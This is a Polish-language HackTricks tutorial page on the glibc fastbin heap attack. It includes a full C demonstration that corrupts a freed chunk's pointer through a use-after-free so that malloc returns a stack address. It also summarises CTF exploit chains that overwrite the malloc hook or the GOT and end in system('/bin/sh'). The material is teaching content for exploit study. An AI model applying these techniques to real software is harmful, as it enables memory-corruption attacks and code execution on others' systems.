Fast Bin Attack

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe Informacje

Aby uzyskać więcej informacji na temat tego, co to jest szybki bin, sprawdź tę stronę:

Bins & Memory Allocations

Ponieważ szybki bin jest jednokierunkowy, istnieje znacznie mniej zabezpieczeń niż w innych binach i wystarczy zmodyfikować adres w zwolnionym fragmencie szybkiego binu, aby móc później przydzielić fragment w dowolnym adresie pamięci.

Podsumowując:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Możesz znaleźć pełny przykład w bardzo dobrze wyjaśnionym kodzie na stronie https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Jeśli jest możliwe nadpisanie wartości zmiennej globalnej global_max_fast dużą liczbą, pozwala to generować szybkie bloki większych rozmiarów, potencjalnie umożliwiając przeprowadzenie ataków szybkich bloków w scenariuszach, w których wcześniej nie było to możliwe.

Przykłady

  • Możliwe jest alokowanie fragmentów, zwalnianie ich, odczytywanie ich zawartości i wypełnianie ich (z wykorzystaniem podatności na przepełnienie).

  • Skonsoliduj fragment w celu wycieku informacji: Technika polega głównie na nadużywaniu przepełnienia w celu stworzenia fałszywej wartości prev_size, dzięki czemu jeden poprzedni fragment jest umieszczany w większym fragmencie. Dzięki temu, alokując większy fragment zawierający inny fragment, możliwe jest wydrukowanie jego danych i wyciek adresu do libc (main_arena+88).

  • Nadpisanie hakera malloc: Dzięki temu i nadużywaniu poprzedniej sytuacji nakładania się, było możliwe posiadanie 2 fragmentów wskazujących na tę samą pamięć. Dlatego zwalniając je oba (zwalniając inny fragment pomiędzy nimi, aby uniknąć zabezpieczeń), było możliwe posiadanie tego samego fragmentu w szybkim bloku 2 razy. Następnie było możliwe ponowne go zaalokowanie, nadpisanie adresu następnego fragmentu, aby wskazywał trochę przed hakera malloc (aby wskazywał na liczbę całkowitą, którą malloc uważa za rozmiar wolny - kolejne obejście), ponowne zaalokowanie go i następnie zaalokowanie innego fragmentu, który otrzyma adresy hakera malloc. Ostatecznie wstawiono tam jeden gadżet.

  • Istnieje przepełnienie sterty oraz użytkownika po zwolnieniu i podwójnym zwolnieniu, ponieważ po zwolnieniu fragmentu możliwe jest ponowne użycie i ponowne zwolnienie wskaźników.

  • Wyciek informacji z libc: Wystarczy zwolnić kilka fragmentów, a otrzymają one wskaźnik do części lokalizacji głównej areny. Ponieważ można ponownie użyć zwolnionych wskaźników, wystarczy odczytać ten adres.

  • Atak szybkiego bloku: Wszystkie wskaźniki do alokacji są przechowywane wewnątrz tablicy, więc możemy zwolnić kilka fragmentów szybkich bloków, a w ostatnim nadpisać adres, aby wskazywał trochę przed tę tablicę wskaźników. Następnie zaalokować kilka fragmentów o takim samym rozmiarze, najpierw otrzymamy prawdziwy, a następnie fałszywy fragment zawierający tablicę wskaźników. Teraz możemy nadpisać te wskaźniki alokacji, aby wskazywały na adres free w celu wskazania na system, a następnie zapisać fragment 1 "/bin/sh", a następnie free(chunk1), co spowoduje wykonanie system("/bin/sh").

  • Kolejny przykład nadużywania przepełnienia o 1B w celu skonsolidowania fragmentów w nieposortowanym bloku i uzyskania wycieku informacji z libc, a następnie przeprowadzenia ataku szybkiego bloku w celu nadpisania haka malloc adresem jednego gadżetu

  • Po wycieku informacji nadużywając nieposortowanego bloku z UAF w celu wycieku adresu libc i adresu PIE, wykorzystano atak szybkiego bloku w tej CTF do zaalokowania fragmentu w miejscu, gdzie znajdowały się wskaźniki do kontrolowanych fragmentów, dzięki czemu możliwe było nadpisanie pewnych wskaźników w celu zapisania jednego gadżetu w GOT

  • Możesz znaleźć atak szybkiego bloku nadużywany poprzez atak na nieposortowany blok:

  • Zauważ, że zanim przeprowadzisz ataki szybkiego bloku, często nadużywa się listę niechcianych, aby wyciekać adresy libc/sterty (jeśli jest to konieczne).

Unsorted Bin Attack
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated